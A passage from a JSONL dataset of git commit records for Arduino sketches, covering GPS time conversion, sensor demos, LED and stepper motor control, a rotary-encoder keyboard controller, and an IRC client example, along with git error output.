convertToLocal (uint8_t* hour, uint16_t* year, uint8_t* month,\n uint8_t* day, const double lon, bool convertDate) {\n\n uint8_t DaysAMonth [] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};\n\n \/\/ Get Day of Week (DOW)\n uint8_t DOW = dayOfWeek(*year, *month, *day);\n \/\/ Get Daylight Saving Time (DST) or Standard Time (ST)\n bool DST = IsDST(*day, *month, DOW);\n \/\/ Compute local time (hours)\n int8_t UTCOffset = (int8_t)(lon \/ 15.0d); \/\/ UTC offset\n if (UTCOffset < 0) {\n \/\/ West of Greenwich, subtract\n UTCOffset = abs(UTCOffset); \/\/ Make offset positive\n if (DST) --UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour - UTCOffset; \/\/ Subtract offset\n }\n else {\n \/\/ East of Greenwich, add\n if (DST) ++UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour = *hour + UTCOffset; \/\/ Add offset\n }\n \/\/ Convert date if convertDate flag is set\n \/\/ Portions of the following code (with some modifications) ripped off from Instructables\n \/\/ http:\/\/www.instructables.com\/id\/GPS-time-UTC-to-local-time-conversion-using-Arduin\/?ALLSTEPS\n if (convertDate) {\n if ((24 - *hour) <= UTCOffset) { \/\/ A new UTC day started\n if (*year % 4 == 0) DaysAMonth[1] = 29; \/\/leap year check (the simple method)\n if (*hour < 24) {\n *day -= 1;\n if (*day < 1) {\n if (*month == 1) {\n *month = 12;\n *year -= 1;\n } \/\/ if (*month == 1)\n else {\n *month -= 1;\n }\n *day = DaysAMonth[*month - 1];\n } \/\/ if (*day < 1)\n } \/\/ if (*hour < 24)\n else if (*hour >= 24) {\n day += 1;\n if (*day > DaysAMonth[*month - 1]) {\n *day = 1;\n *month += 1;\n if (*month > 12) *year += 1;\n } \/\/ if (*day > DaysAMonth[*month - 1])\n } \/\/ if (*hour >= 24)\n } \/\/ if ((24 - *hour) <= UTCOffset)\n } \/\/ if (convertDate)\n return (DST);\n}\n#endif \/\/ #ifdef CONVERT_TO_LOCAL\n#endif \/\/ #ifndef _16x2\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GPSLCD.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ddcb383a870e379270b0f9d5d3f78463a887187f","subject":"First pass at ReadAnalog demo","message":"First pass at ReadAnalog demo\n","repos":"KermMartian\/ArTICL","old_file":"examples\/ReadAnalog\/ReadAnalog.ino","new_file":"examples\/ReadAnalog\/ReadAnalog.ino","new_contents":"\/*************************************************\n * ReadAnalog.ino *\n * Example from the ArTICL library *\n * Created by Christopher Mitchell, *\n * 2011-2014, all rights reserved. *\n * *\n * This demo reads the Arduino's six analog *\n * pins whenever the calculator requests a *\n * list, and returns the results as a six- *\n * element list with values between 0 and 1023. *\n *************************************************\/\n\n#include \"CBL2.h\"\n#include \"TIVar.h\"\n\nCBL2* cbl;\nint lineRed = 7;\nint lineWhite = 6;\n\n#define MAXDATALEN 255\nuint8_t header[16];\nuint8_t data[MAXDATALEN];\n\nvoid setup() {\n Serial.begin(9600);\n cbl = new CBL2(lineRed, lineWhite);\n cbl->resetLines();\n cbl->setVerbosity(true, &Serial);\t\t\t\/\/ Comment this in for mesage information\n cbl->setupCallbacks(header, data, MAXDATALEN,\n onGetAsCBL2, onSendAsCBL2);\n}\n\nvoid loop() {\n int rval;\n rval = cbl->eventLoopTick();\n if (rval && rval != ERR_READ_TIMEOUT) {\n Serial.print(\"Failed to run eventLoopTick: code \");\n Serial.println(rval);\n }\n}\n\nint onGetAsCBL2(uint8_t type, int datalen) {\n Serial.print(\"Got variable of type \");\n Serial.print(type);\n Serial.println(\" from calculator.\");\n return 0;\n}\n\nint onSendAsCBL2(uint8_t type, int* datalen) {\n Serial.print(\"Got request for variable of type \");\n Serial.print(type);\n Serial.println(\" from calculator.\");\n \n if (type != 0x01)\n return -1;\n \n \/\/ Compose the VAR header\n *datalen = 2 + 9 * 6;\n header[0] = *datalen;\t\t\t\/\/ Two bytes for the element count, 6 9-byte reals\n header[1] = 0;\n header[2] = 0x04;\n header[3] = 0x01;\n header[4] = 0x41;\t\t\t\t\/\/ See http:\/\/www.cemetech.net\/forum\/viewtopic.php?p=224739#224739\n header[5] = 0x00;\n \n \/\/ Compose the body of the variable\n data[0] = 6;\n data[1] = 0;\n for(int i = 0; i < 6; i++) {\n\tfloat value = analogRead(i);\n\tTIVar::floatToReal8x(value, &data[2 + 9 * i]);\n }\n for(int i = 0; i < *datalen; i++) {\n Serial.print(data[i], HEX);\n\tSerial.print(\" \");\n }\n Serial.println(\"]]\");\n\n return 0;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ReadAnalog\/ReadAnalog.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"c5fe99d1e582aad5fef8d26d3634d921619ec461","subject":"updata","message":"updata\n","repos":"Seeed-Studio\/Grove_Water_Sensor","old_file":"examples\/WaterAlarm\/WaterAlarm.ino","new_file":"examples\/WaterAlarm\/WaterAlarm.ino","new_contents":"\/*\n * WaterAlarm.ino\n * Example sketch for Grove Water Sensor\n *\n * Copyright (c) 2013 seeed technology inc.\n * Website : www.seeed.cc\n * Author : Frankie.Chu\n * Create Time: Jan 18,2013\n * Change Log :\n *\n * The MIT License (MIT)\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n\/*macro definition of water sensor and the buzzer*\/\n#define WATER_SENSOR 2\n#define BUZZER 3\nvoid setup()\n{\n\tpins_init();\n}\nvoid loop()\n{\n\tif(isExposedToWater())\n\t\tsoundAlarm();\n}\nvoid pins_init()\n{\n\tpinMode(WATER_SENSOR, INPUT);\n\tpinMode(BUZZER, OUTPUT);\n}\n\/************************************************************************\/\n\/*Function: When the sensor is exposed to the water, the buzzer sounds\t*\/\n\/*\t\t\tfor 2 seonds.\t\t\t\t\t\t\t\t\t\t\t\t*\/\nvoid soundAlarm()\n{\n\tfor(uint8_t i = 0;i < 20;i ++)\n\t{\n\t\tdigitalWrite(BUZZER, HIGH);\n\t\tdelay(50);\n\t\tdigitalWrite(BUZZER, LOW);\n\t\tdelay(50);\n\t}\n}\n\/************************************************************************\/\n\/*Function: Determine whether the sensor is exposed to the water\t\t*\/\n\/*Parameter:-void \t\t\t\t\t\t\t\t\t\t\t*\/\n\/*Return:\t-boolean,if it is exposed to the water,it will return ture. *\/\nboolean isExposedToWater()\n{\n\tif(digitalRead(WATER_SENSOR) == LOW)\n\t\treturn true;\n\telse return false;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/WaterAlarm\/WaterAlarm.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"71d01bf733453d6015502c432e7d98a11cf0a912","subject":"Create blink_test.ino","message":"Create blink_test.ino","repos":"pylonman\/simple_gpio_class","old_file":"examples\/blink_test\/blink_test.ino","new_file":"examples\/blink_test\/blink_test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/pylonman\/simple_gpio_class.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"ed1762f98cfa0c151ddbfb95df3ac19d408f6cc7","subject":"Temperatuur, Altimeter","message":"Temperatuur, Altimeter\n","repos":"quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack","old_file":"Arduino\/Serial\/Serial.ino","new_file":"Arduino\/Serial\/Serial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/quinten991\/PenO3OnTrack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f9c515bfb9d295463d6b9c76f43cd268124f54ad","subject":"testing","message":"testing\n","repos":"sjm42\/avr,sjm42\/avr","old_file":"tiny-vumeter\/tiny-vumeter.ino","new_file":"tiny-vumeter\/tiny-vumeter.ino","new_contents":"\/\/ tiny-vumeter.ino\n\n#include <Arduino.h>\n#include <stdlib.h>\n\n#define PIN_LED 13\n#define PIN_PWM 1\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Starting...\");\n pinMode(PIN_LED, OUTPUT);\n digitalWrite(PIN_LED, LOW);\n pinMode(PIN_PWM, OUTPUT);\n analogWrite(PIN_PWM, 0);\n Serial.println(\"Setup complete.\");\n}\n\nvoid loop()\n{\n int i = 0;\n int up = 1;\n while (1)\n {\n analogWrite(PIN_PWM, i);\n if (up)\n {\n \/\/ counting up\n if (i == 255)\n {\n up = 0;\n }\n else\n {\n ++i;\n }\n }\n else\n {\n \/\/ counting down\n if (i == 0)\n {\n up = 1;\n }\n else\n {\n --i;\n }\n }\n delay(5);\n }\n}\n\/\/ EOF\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tiny-vumeter\/tiny-vumeter.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5a186359a1942f235cc1a5e4a7729e9563e8eb53","subject":"Removed Useless Code","message":"Removed Useless Code\n","repos":"TheBeachMaster\/DemoIOT","old_file":"IOTSln\/Nano Demo1\/NanoDemo1\/NanoDemo1.ino","new_file":"IOTSln\/Nano Demo1\/NanoDemo1\/NanoDemo1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/DemoIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c740e00d3a4000948d61a41e81a5170f9e668707","subject":"Updated Snow Crash","message":"Updated Snow Crash\n","repos":"Comingle\/Comingle_Example_Sketches","old_file":"Mod\/E-Stim\/TCDS__BASIC_POTENTIOMETER\/TCDS__BASIC_POTENTIOMETER.ino","new_file":"Mod\/E-Stim\/TCDS__BASIC_POTENTIOMETER\/TCDS__BASIC_POTENTIOMETER.ino","new_contents":"\/* Snow Crash: TcDS\n\n\nbased mostly off blinkwithoutdelay:\n created 2005\n by David A. Mellis\n modified 8 Feb 2010\n by Paul Stoffregen\n \n This example code is in the public domain.\n *\/\n\n\/\/ constants won't change. Used here to \n\/\/ set pin numbers:\nconst int ledPin = 11; \/\/ the number of the LED pin\n\n\/\/ Variables will change:\nint ledState = LOW; \/\/ ledState used to set the LED\nlong previousMillis = 0; \/\/ will store last time LED was updated\n\n\/\/ the follow variables is a long because the time, measured in miliseconds,\n\/\/ will quickly become a bigger number than can be stored in an int.\nlong interval =20; \/\/ interval at which to blink (milliseconds)\n\nvoid setup() {\n \/\/ set the digital pin as output:\n pinMode(ledPin, OUTPUT); \n Serial.begin(9600); \n}\n\nvoid loop()\n{\n \n int sensorValue = analogRead(A0);\n Serial.println(sensorValue);\n\n unsigned long currentMillis = millis();\n \n if(currentMillis - previousMillis > interval) {\n \/\/ save the last time you blinked the LED \n previousMillis = currentMillis; \n\n \/\/ if the LED is off turn it on and vice-versa:\n if (ledState == LOW)\n ledState = HIGH;\n else\n ledState = LOW;\n\n \/\/ set the LED with the ledState of the variable:\n digitalWrite(ledPin, ledState);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Mod\/E-Stim\/TCDS__BASIC_POTENTIOMETER\/TCDS__BASIC_POTENTIOMETER.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c8085f77f9aacb0233d7bd3f6621ee781f10cb2b","subject":"Working script for output leds","message":"Working script for output leds\n","repos":"jdahlbom\/arduino-prototyping,jdahlbom\/arduino-prototyping","old_file":"testing-output-23017\/testing-output-23017.ino","new_file":"testing-output-23017\/testing-output-23017.ino","new_contents":"\/\/ @author Jukka Dahlbom\n\/\/ @created 30.12.2014\n\n\/\/ Adapted from Wire Master Writer sample code \n\/\/ by Nicholas Zambetti <http:\/\/www.zambetti.com>\n\n\/\/ Demonstrates running multiple leds in sequence on MCP23017\n\/\/ I2C port expander.\n\n\n#include <Wire.h>\n\nint ADDRESS = 0x20; \/\/ Default address for MCP23017\nint IODIRA = 0x00;\nint GPIOA = 0x12; \/\/ IOCON.BANK bit resets to 0, so using that mode.\n\nvoid setup()\n{\n delay(1000);\n Serial.begin(9600);\n Wire.begin(); \/\/ join i2c bus (address optional for master)\n Wire.beginTransmission(ADDRESS);\n Wire.write(IODIRA); \/\/ IODIRA register\n Wire.write(0x00); \/\/ Set bank A to output\n Wire.endTransmission(); \/\/ stop transmitting\n}\n\nvoid loop()\n{ \n setOutput(computeUpdatedState());\n delay(300);\n}\n\nint computeUpdatedState() {\n static int phase = 0;\n int pin6 = 0x00, pin7 = 0x00, pin8 = 0x00;\n if (phase > 0 && phase < 4) {\n pin6 = 0x20;\n }\n if (phase > 1 && phase < 5) {\n pin7 = 0x40;\n }\n if (phase > 2 && phase < 6) {\n pin8 = 0x80;\n }\n phase = ++phase % 6;\n return pin6 + pin7 + pin8;\n}\n\nvoid setOutput(int value) {\n Wire.beginTransmission(ADDRESS);\n Wire.write(GPIOA); \/\/ select GPIOA register\n Wire.write(value); \/\/ Set all output HIGH in bank A\n Wire.endTransmission(); \/\/ stop transmitting\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing-output-23017\/testing-output-23017.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5f284be4fc37040e8db4d10fbf45d5570487fc9f","subject":"Test DVD stepper motor","message":"Test DVD stepper motor\n","repos":"cazacov\/Arduino,cazacov\/Arduino","old_file":"uno\/DvdStepper\/DvdStepper.ino","new_file":"uno\/DvdStepper\/DvdStepper.ino","new_contents":"#include <AFMotor.h>\n#include <Servo.h> \n \n#define START_X 10\n#define START_Y 9\n#define SERVO_PIN 2\n \nAF_Stepper motorX(48, 1);\nAF_Stepper motorY(48, 2);\nServo penServo; \n\nvoid goTo(int newX, int newY); \nvoid penUp(); \nvoid penDown(); \n\nint posX, posY;\n \nvoid setup() {\n penServo.attach(SERVO_PIN); \/\/ attaches the servo on pin 9 to the servo object \n penUp();\n Serial.begin(115200);\n pinMode(START_X, INPUT); \n pinMode(START_Y, INPUT); \n motorX.setSpeed(160); \/\/ 10 rpm \n motorY.setSpeed(100); \/\/ 10 rpm \n \n \/\/ Move to the start position\n while(digitalRead(START_X))\n {\n motorX.step(1, BACKWARD, INTERLEAVE);\n delay(5);\n }\n while(digitalRead(START_Y))\n {\n motorY.step(1, BACKWARD, INTERLEAVE);\n delay(5);\n }\n motorX.step(5, FORWARD, INTERLEAVE);\n motorY.step(5, FORWARD, INTERLEAVE); \n posX = 0;\n posY = 0;\n}\n \nvoid loop() \n{\n for (int i = 0; i <75; i+=5)\n {\n goTo(i, i);\n penDown();\n goTo(150 - i, i); \n goTo(150 - i, 150 - i); \n goTo(i, 150 - i); \n goTo(i, i); \n penUp();\n }\n \n penUp();\n while(1);\n \n return;\n \n int r = 70;\n goTo(75 + r, 75);\n delay(200);\n \n\n \n\n \n char buf[20];\n \n float phi = 0;\n for (float phi = 0; phi < 3.1415926 * 2; phi+= 3.1415 \/ 10.01)\n {\n int x = 75.0 + cos(phi) * r;\n int y = 75.0 + sin(phi) * r; \n \n sprintf(buf, \"%d\\t%d\", x, y);\n Serial.println(buf);\n goTo(x, y);\n }\n penUp();\n while(1);\n}\n\nvoid goTo(int newX, int newY)\n{\n newX <<= 1;\n newY <<= 1; \n if (newX > posX)\n {\n motorX.step(newX - posX, FORWARD, INTERLEAVE);\n }\n else if (newX < posX)\n {\n motorX.step(posX - newX, BACKWARD, INTERLEAVE);\n }\n posX = newX;\n\n if (newY > posY)\n {\n motorY.step(newY - posY, FORWARD, INTERLEAVE);\n }\n else if (newY < posY)\n {\n motorY.step(posY - newY, BACKWARD, INTERLEAVE);\n }\n posY = newY;\n\/\/ motorX.release();\n\/\/ motorY.release(); \n}\n\nvoid penUp()\n{\n penServo.write(100);\n delay(600);\n}\n\nvoid penDown()\n{\n penServo.write(60);\n delay(600); \n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'uno\/DvdStepper\/DvdStepper.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"59f4e9594804abbe4b4bf5ab5637f6649a1c4da5","subject":"Delete Arduino_Uno(not RFID).ino","message":"Delete Arduino_Uno(not RFID).ino","repos":"viktor-osin\/Prototype-of-system-Smart-Home,viktor-osin\/Prototype-of-system-Smart-Home","old_file":"Arduino_Uno_Serial_Case\/Arduino_Uno(not RFID).ino","new_file":"Arduino_Uno_Serial_Case\/Arduino_Uno(not RFID).ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: \"(\" unexpected\n","license":"mit","lang":"Arduino"} {"commit":"514b48e424a0b159704f2bd4264a24cd3f8259ea","subject":"added arduino code","message":"added arduino code\n","repos":"aschle\/magicKurbelKamera,aschle\/magicKurbelKamera","old_file":"arduino\/kurbel\/kurbel.ino","new_file":"arduino\/kurbel\/kurbel.ino","new_contents":"#include <ClickButton.h> \/\/ https:\/\/code.google.com\/p\/clickbutton\/\n#include <Encoder.h>\n\nEncoder encoder(2, 3);\nClickButton rec_button(4, LOW, CLICKBTN_PULLUP);\nint button_state = 0;\n\nvoid setup() {\n Serial.begin(9600);\n Keyboard.begin();\n\n rec_button.debounceTime = 20; \/\/ Debounce timer in ms\n rec_button.multiclickTime = 250; \/\/ Time limit for multi clicks\n rec_button.longClickTime = 2500; \/\/ time until \"held-down clicks\" register\n}\n\nlong pos = -999;\nlong last_value = 0;\nlong act_value = 0;\n\nint distance = 7; \/\/ how many ticks until keypress is fired, 7 seemed to result in ~8 keys per round\n\nvoid loop() {\n\n long newPos = encoder.read();\n if(newPos > pos) { act_value += 1; }\n else if(newPos < pos){ act_value -= 1; }\n if (newPos != pos) { pos = newPos; }\n\n if(act_value - last_value >= distance){ \/\/ clockwise\n Keyboard.press(KEY_RIGHT_ARROW);\n Keyboard.release(KEY_RIGHT_ARROW);\n last_value = act_value;\n } else if(act_value - last_value <= -1 * distance){ \/\/ counter clockwise\n Keyboard.press(KEY_LEFT_ARROW);\n Keyboard.release(KEY_LEFT_ARROW);\n last_value = act_value;\n }\n\n \n rec_button.Update();\n button_state = rec_button.clicks;\n\n if(button_state == 1){ \/\/ single click\n Keyboard.press('r');\n Keyboard.release('r');\n }else if(button_state == 2){ \/\/ double click\n Keyboard.press('p');\n Keyboard.release('p');\n }else if(button_state == -1){ \/\/ long press\n Keyboard.press(KEY_ESC);\n Keyboard.release(KEY_ESC);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/kurbel\/kurbel.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"34b899ab51699e4375f29a8684421752ac5447bb","subject":"Added IrcClientExample for TM4C129 Connected LaunchPad","message":"Added IrcClientExample for TM4C129 Connected LaunchPad\n","repos":"radiolok\/Energia,brianonn\/Energia,martianmartin\/Energia,dvdvideo1234\/Energia,martianmartin\/Energia,DavidUser\/Energia,NoPinky\/Energia,dvdvideo1234\/Energia,battosai30\/Energia,cevatbostancioglu\/Energia,dvdvideo1234\/Energia,bobintornado\/Energia,bobintornado\/Energia,qtonthat\/Energia,danielohh\/Energia,cevatbostancioglu\/Energia,croberts15\/Energia,croberts15\/Energia,danielohh\/Energia,dvdvideo1234\/Energia,vigneshmanix\/Energia,cevatbostancioglu\/Energia,sanyaade-iot\/Energia,martianmartin\/Energia,bobintornado\/Energia,DavidUser\/Energia,danielohh\/Energia,sanyaade-iot\/Energia,bobintornado\/Energia,DavidUser\/Energia,brianonn\/Energia,qtonthat\/Energia,danielohh\/Energia,cevatbostancioglu\/Energia,bobintornado\/Energia,brianonn\/Energia,vigneshmanix\/Energia,dvdvideo1234\/Energia,NoPinky\/Energia,martianmartin\/Energia,NoPinky\/Energia,DavidUser\/Energia,bobintornado\/Energia,cevatbostancioglu\/Energia,martianmartin\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,croberts15\/Energia,danielohh\/Energia,radiolok\/Energia,DavidUser\/Energia,brianonn\/Energia,qtonthat\/Energia,vigneshmanix\/Energia,cevatbostancioglu\/Energia,danielohh\/Energia,qtonthat\/Energia,sanyaade-iot\/Energia,battosai30\/Energia,dvdvideo1234\/Energia,dvdvideo1234\/Energia,vigneshmanix\/Energia,vigneshmanix\/Energia,qtonthat\/Energia,martianmartin\/Energia,NoPinky\/Energia,NoPinky\/Energia,croberts15\/Energia,brianonn\/Energia,croberts15\/Energia,cevatbostancioglu\/Energia,battosai30\/Energia,croberts15\/Energia,bobintornado\/Energia,brianonn\/Energia,martianmartin\/Energia,battosai30\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,DavidUser\/Energia,qtonthat\/Energia,battosai30\/Energia,vigneshmanix\/Energia,danielohh\/Energia,croberts15\/Energia,battosai30\/Energia,brianonn\/Energia,qtonthat\/Energia,radiolok\/Energia,DavidUser\/Energia,battosai30\/Energia,NoPinky\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,NoPinky\/Energia,vigneshmanix\/Energia,sanyaade-iot\/Energia,radiolok\/Energia","old_file":"hardware\/lm4f\/libraries\/Ethernet\/examples\/IrcClientExample\/IrcClientExample.ino","new_file":"hardware\/lm4f\/libraries\/Ethernet\/examples\/IrcClientExample\/IrcClientExample.ino","new_contents":"\/* IRC Example\n * Simple IRC client which connects gracefully, joins #energia and says a simple Hello\n * before quitting and indefinitely sleeping.\n *\n * Written in March 2014 by Eric Brundick for the Energia project.\n *\n * Requires the Ethernet library, tested with TI Tiva Connected LaunchPad\n * based on the TM4C1294NCPDT microcontroller.\n *\n * Released as Public Domain. Do with it as you wish.\n *\/\n\n#include <Ethernet.h>\n#include <IPAddress.h>\n#include <string.h>\n\nbyte ourMac[] = { 0x52, 0x54, 0xFF, 0xFF, 0xFF, 0x01 };\nEthernetClient client;\n\nconst char *ircserver_name = \"chat.freenode.net\";\n\n\/\/#define IRC_USE_IP_NOT_DNS\n\/\/IPAddress ircserver(62,231,75,133);\n\/\/ ^ Required for connecting through an SSH tunnel for getting around a firewall\n\/\/ Comment out #define IRC_USE_IP_NOT_DNS to use the ircserver_name DNS to connect.\n\n#define IRCSERVER_PORT 6667\n\nconst char *irc_nick = \"MyTivaLP\";\nconst char *irc_user = \"tm4c129\";\nconst char *irc_user_description = \"Energia Warrior\";\nconst char *irc_channel = \"#energia\";\n\nvoid dispatch_composite_message(uint8_t, int);\nvoid process_inbound_message(uint8_t, int);\n\nvoid setup()\n{\n IPAddress ip;\n \n Serial.setBufferSize(2048, 64); \/* New Energia 12 feature; specifying large TX buffer to avoid locking\n * up the sketch for any reason when spitting debugging messages\n * over the ICDI backchannel UART.\n *\/\n Serial.begin(115200);\n \n \/\/ Wait for USR_SW1 to be pressed before continuing (10ms resolution polling the button)...\n pinMode(USR_SW1, INPUT_PULLUP);\n uint32_t lastmillis = millis();\n while (digitalRead(USR_SW1)) {\n if ( (millis() - lastmillis) > 1000 ) {\n Serial.println(\"Waiting for USR_SW1 press to begin...\");\n lastmillis = millis();\n }\n delay(10);\n }\n \n \/\/ Initialize network.\n Serial.println(\"\\n\\nDHCP IRC Client Example\"); \n Serial.print(\"DHCP init: \");\n if (!Ethernet.begin(ourMac)) {\n Serial.println(\"Failed to configure Ethernet using DHCP. Halting.\");\n while(1)\n delay(1000);\n }\n Serial.print(\"done; IP=\");\n ip = Ethernet.localIP();\n ip.printTo(Serial);\n Serial.println(\"\\n\");\n}\n\nvolatile boolean is_connected = false;\nvolatile int prot_stage = 0; \/\/ State machine status.\nvolatile boolean prot_stage_latched = false;\n\/* ^ Determines if the current event stage has been carried out, in which\n * case we're waiting for some reply or some other event to proceed to\n * the next event stage.\n *\/\n\n\/\/ IRC protocol event stages\n#define PROT_STAGE_WAITINIT 0\n#define PROT_STAGE_NICK 1\n#define PROT_STAGE_USER 2\n#define PROT_STAGE_JOIN 3\n#define PROT_STAGE_SAYHELLO 4\n#define PROT_STAGE_QUIT 5\n#define PROT_STAGE_DONE 6\n\nvoid loop()\n{\n uint8_t buf[2049];\n int len;\n \n \/\/ Main loop\n if (!is_connected || !client.connected()) {\n Serial.print(\"Connecting to: \");\n Serial.println(ircserver_name);\n#ifdef IRC_USE_IP_NOT_DNS\n if (client.connect(ircserver, IRCSERVER_PORT)) {\n#else\n if (client.connect(ircserver_name, IRCSERVER_PORT)) {\n#endif\n Serial.println(\"connected\\n\");\n is_connected = true;\n prot_stage = PROT_STAGE_WAITINIT; \/* Connected; wait for server to send some welcome data\n * before logging in & registering nickname, etc.\n *\/\n } else {\n is_connected = false;\n Serial.println(\"Failed; pausing 5 seconds before retrying\");\n delay(5000);\n }\n } else {\n \/\/ Process incoming data first\n if (client.available()) {\n if ((len = client.read(buf, 2048)) > 0) {\n buf[len] = '\\0';\n Serial.print(\"Inbound msg: \");\n Serial.write(buf, len);\n Serial.println();\n dispatch_composite_message(buf, len);\n \/\/ TODO: Use a ring-buffer with this code as the producer and\n \/\/ dispatch_composite_message as the consumer.\n }\n }\n \n \/\/ Check protocol event stage and perform outbound messages\n switch (prot_stage) {\n case PROT_STAGE_NICK:\n if (!prot_stage_latched) {\n Serial.println(\"Registering NICK-\\n\");\n \/\/ Compose NICK command\n client.print(\"NICK \");\n client.print(irc_nick);\n client.print(\"\\r\\n\");\n prot_stage++; \/\/ No reply needed to advance to next step\n }\n break;\n \n case PROT_STAGE_USER:\n if (!prot_stage_latched) {\n Serial.println(\"Registering USER-\\n\");\n client.print(\"USER \");\n client.print(irc_nick);\n client.print(\" \");\n client.print(irc_user);\n client.print(\" \");\n client.print(ircserver_name);\n client.print(\" :\");\n client.print(irc_user_description);\n client.print(\"\\r\\n\");\n prot_stage_latched = true;\n \/\/ Must wait for RPY_ENDOFMOTD before proceeding.\n \/\/ This is found & processed in process_inbound_message() below.\n }\n break;\n \n case PROT_STAGE_JOIN:\n if (!prot_stage_latched) {\n Serial.print(\"Joining \"); Serial.print(irc_channel); Serial.println(\"-\");\n client.print(\"JOIN \");\n client.print(irc_channel);\n client.print(\"\\r\\n\");\n prot_stage_latched = true;\n \/\/ Must wait for RPY_TOPIC before proceeding.\n \/\/ This is found & processed in process_inbound_message() below.\n }\n break;\n \n case PROT_STAGE_SAYHELLO:\n if (!prot_stage_latched) {\n Serial.print(\"Writing to \"); Serial.print(irc_channel); Serial.println(\"-\");\n client.print(\"PRIVMSG \");\n client.print(irc_channel);\n client.print(\" :\");\n client.println(\"Hi everyone! I am a TI TM4C129 LaunchPad connecting to IRC and sending you a brief message.\");\n prot_stage++; \/\/ No reply needed to proceed with the next step\n }\n break;\n\n case PROT_STAGE_QUIT:\n if (!prot_stage_latched) {\n Serial.println(\"Issuing QUIT-\\n\");\n client.print(\"QUIT :Bye for now!\\r\\n\");\n prot_stage++;\n }\n break;\n \n case PROT_STAGE_DONE:\n Serial.println(\"Done.\");\n \/\/ IRC server should close connection; we don't bother doing it ourselves here.\n while (1)\n delay(1000);\n break;\n } \/* switch(prot_stage) *\/\n } \/* if (is_connected) *\/\n} \/* loop() *\/\n\n\/* Process a packet into a sequence of \\r\\n-terminated lines; Note this should be replaced\n * with a ring-buffer design, as data which flows across multiple packets will not be\n * processed correctly; the last request will be truncated and the beginning of the next\n * request will be handled improperly.\n *\/\nvoid dispatch_composite_message(uint8_t *buf, int len)\n{\n uint8_t *bufptr = buf;\n uint8_t *nl = (uint8_t *)strstr((char *)bufptr, \"\\r\\n\");\n int sublen = 0;\n \n while (nl != NULL) {\n sublen = (int) (nl - bufptr);\n process_inbound_message(bufptr, sublen);\n bufptr += sublen + 2;\n if ( (bufptr - buf) >= len )\n return;\n \n nl = (uint8_t *)strstr((char *)bufptr, \"\\r\\n\");\n }\n}\n\n\/* Process individual line. *\/\nvoid process_inbound_message(uint8_t *buf, int sublen)\n{\n uint8_t *arg1, *arg2;\n int len;\n \n \/\/ Process inbound message\n buf[sublen] = '\\0';\n \n arg1 = (uint8_t *)strstr((char *)buf, \" \");\n if (arg1 == NULL)\n return;\n *arg1 = '\\0';\n arg1++;\n int i=0;\n while (arg1[i] != ' ' && arg1[i] != '\\0')\n i++;\n arg1[i] = '\\0';\n if ( (arg1 + i - buf) >= sublen )\n arg2 